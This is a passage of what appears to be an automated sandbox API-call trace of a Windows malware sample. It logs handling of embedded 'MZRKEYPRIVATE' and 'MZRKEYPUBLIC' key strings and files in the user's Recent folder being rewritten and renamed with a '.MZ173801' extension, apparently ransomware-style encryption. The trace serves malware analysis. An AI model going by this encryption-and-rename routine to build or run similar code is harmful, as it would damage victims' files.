kMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.622] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.622] GetCurrentThreadId () returned 0xab4 [0147.622] GetCurrentThreadId () returned 0xab4 [0147.622] GetCurrentThreadId () returned 0xab4 [0147.623] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.623] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.623] GetCurrentThreadId () returned 0xab4 [0147.623] GetCurrentThreadId () returned 0xab4 [0147.623] GetCurrentThreadId () returned 0xab4 [0147.623] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fnWHfWmALlcTd.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fnwhfwmallctd.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.623] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.623] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.623] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x297 [0147.624] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.624] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x297, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x297, lpOverlapped=0x0) returned 1 [0147.624] CloseHandle (hObject=0x280) returned 1 [0147.624] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fnWHfWmALlcTd.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fnwhfwmallctd.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.625] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x297, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x297, lpOverlapped=0x0) returned 1 [0147.626] CloseHandle (hObject=0x280) returned 1 [0147.627] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fnWHfWmALlcTd.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fnwhfwmallctd.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fnWHfWmALlcTd.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fnwhfwmallctd.lnk.mz173801")) returned 1 [0147.628] GetCurrentThreadId () returned 0xab4 [0147.628] GetCurrentThreadId () returned 0xab4 [0147.628] GetCurrentThreadId () returned 0xab4 [0147.628] GetCurrentThreadId () returned 0xab4 [0147.628] GetCurrentThreadId () returned 0xab4 [0147.628] GetCurrentThreadId () returned 0xab4 [0147.628] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707687b6, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x707687b6, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x707687b6, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x46b, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="FqOJo-o8.lnk", cAlternateFileName="")) returned 1 [0147.628] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.628] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.628] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FqOJo-o8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fqojo-o8.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707687b6, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x707687b6, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x707687b6, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x46b)) returned 1 [0147.628] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FqOJo-o8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fqojo-o8.lnk")) returned 0x20 [0147.628] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FqOJo-o8.lnk", dwFileAttributes=0x80) returned 1 [0147.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, 